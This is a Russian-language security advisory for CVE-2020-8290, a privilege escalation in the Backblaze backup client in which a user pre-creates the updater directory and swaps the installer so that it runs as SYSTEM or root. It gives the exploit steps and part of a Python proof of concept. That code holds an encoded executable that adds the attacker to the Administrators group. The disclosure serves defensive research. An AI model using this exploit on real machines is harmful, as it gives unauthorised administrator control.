CVE-2020-8290 – Повышение привилегий в Backblaze

Сводка

Название: Повышение привилегий в Backblaze
CVE: CVE-2020-8290
Обнаружил: Jason Geffner
Вендор: Backblaze
Продукт: Backblaze for Windows и Backblaze for macOS
Риск: Высокий
Дата обнаружения: 2020-03-13
Дата публикации: 2020-09-09
Исправленная версия: 7.0.0.439

Введение

Согласно Википедии, Backblaze — это

"инструмент онлайн-резервного копирования, который позволяет пользователям Windows и macOS сохранять свои данные в выносных центрах обработки данных. Сервис предназначен для бизнеса и конечных пользователей, предоставляя неограниченное дисковое пространство и поддерживая файлы любого размера."

Уязвимые версии Backblaze for Windows и Backblaze for macOS содержат уязвимость высокого риска, которая позволяет локальному непривилегированному злоумышленнику выполнить атаку с повышением привилегий (EOP) и получить права SYSTEM/root.

Уязвимость

Сервисный процесс клиента Backblaze, называемый bzserv, работает как SYSTEM в Windows и как root в macOS. Каждые пару часов bzserv запускает программу bztransmit (выполняемую как SYSTEM/root) для загрузки XML-файла с именем clientversion.xml из центра обработки данных Backblaze, чтобы проверить, доступна ли более новая версия клиента Backblaze, и если да, загружает установщик последней версии клиента из центра обработки данных Backblaze. Загруженный установщик сохраняется в каталог %ProgramData%\Backblaze\bzdata\bzupdates в Windows и в каталог /Library/Backblaze.bzpkg/bzdata/bzupdates или /Library/Backblaze/bzdata/bzupdates в macOS. После загрузки bztransmit запускает загруженный установщик как SYSTEM через ShellExecute() или как root через system().

В Windows каталог %ProgramData%\Backblaze\bzdata создается при установке таким образом, что локальные непривилегированные пользователи имеют права на чтение и запись. Процесс bztransmit создает дочерний каталог bzupdates, работая как SYSTEM, и после его создания непривилегированные пользователи не имеют к нему прав на чтение или запись. Однако процесс bztransmit не проверяет безопасным образом ACL этого каталога bzupdates, если он уже существовал, и не обновляет безопасным образом ACL, если каталог уже существовал. Таким образом, локальный непривилегированный злоумышленник может создать каталог %ProgramData%\Backblaze\bzdata\bzupdates до установки Backblaze или создать дочерний каталог bzupdates внутри %ProgramData%\Backblaze\bzdata после установки Backblaze и до того, как bztransmit создаст дочерний каталог bzupdates. Это позволяет злоумышленнику стать владельцем каталога bzupdates и получить полный контроль над файлами в этом каталоге. Таким образом, злоумышленник может изменить или заменить загруженный исполняемый файл обновления после его загрузки и до его выполнения, что позволяет выполнить локальное повышение привилегий.

В macOS каталог /Library/Backblaze.bzpkg/bzdata (или /Library/Backblaze/bzdata) создается при установке с правами 0777 (drwxrwxrwx), так что локальные непривилегированные пользователи имеют права на чтение и запись. Процесс bztransmit создает дочерний каталог bzupdates с правами 0755 (drwxr-xr-x), работая как root, и после его создания непривилегированные пользователи не имеют к нему прав на чтение или запись. Однако процесс bztransmit не проверяет безопасным образом права этого каталога bzupdates, если он уже существовал, и не обновляет безопасным образом права, если каталог уже существовал. Таким образом, локальный непривилегированный злоумышленник может создать дочерний каталог bzupdates внутри /Library/Backblaze.bzpkg/bzdata (или /Library/Backblaze/bzdata) после установки Backblaze и до того, как bztransmit создаст дочерний каталог bzupdates. Это позволяет злоумышленнику стать владельцем каталога bzupdates и получить полный контроль над файлами в этом каталоге. Таким образом, злоумышленник может изменить или заменить загруженный исполняемый файл обновления после его загрузки и до его выполнения, что позволяет выполнить локальное повышение привилегий.

Доказательство концепции

Видео: https://youtu.be/OpC6neWd2aM

На видео выше показаны два одновременных входа в одну и ту же виртуальную машину: сеанс администратора слева и сеанс непривилегированного злоумышленника справа. На видео можно увидеть следующие шаги:

1. Attacker выполняет net localgroup Administrators, чтобы показать, что учетная запись непривилегированного злоумышленника (с именем Attacker) не является членом группы Administrators.
2. Attacker запускает python eop.py (исходный код которого приведен ниже).
3. Затем администратор устанавливает Backblaze.
4. Через шесть минут установленная служба Backblaze загружает clientversion.xml, который эксплойт перезаписывает.
5. Еще через минуту установленная служба Backblaze загружает исполняемый файл обновления, который эксплойт перезаписывает.
6. Затем служба Backblaze запускает перезаписанный установщик обновления, который добавляет учетную запись Attacker в группу Administrators.
7. Затем злоумышленник снова запускает net localgroup Administrators, чтобы показать, что учетная запись Attacker действительно была добавлена в группу Administrators. Локальное повышение привилегий завершено.

# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content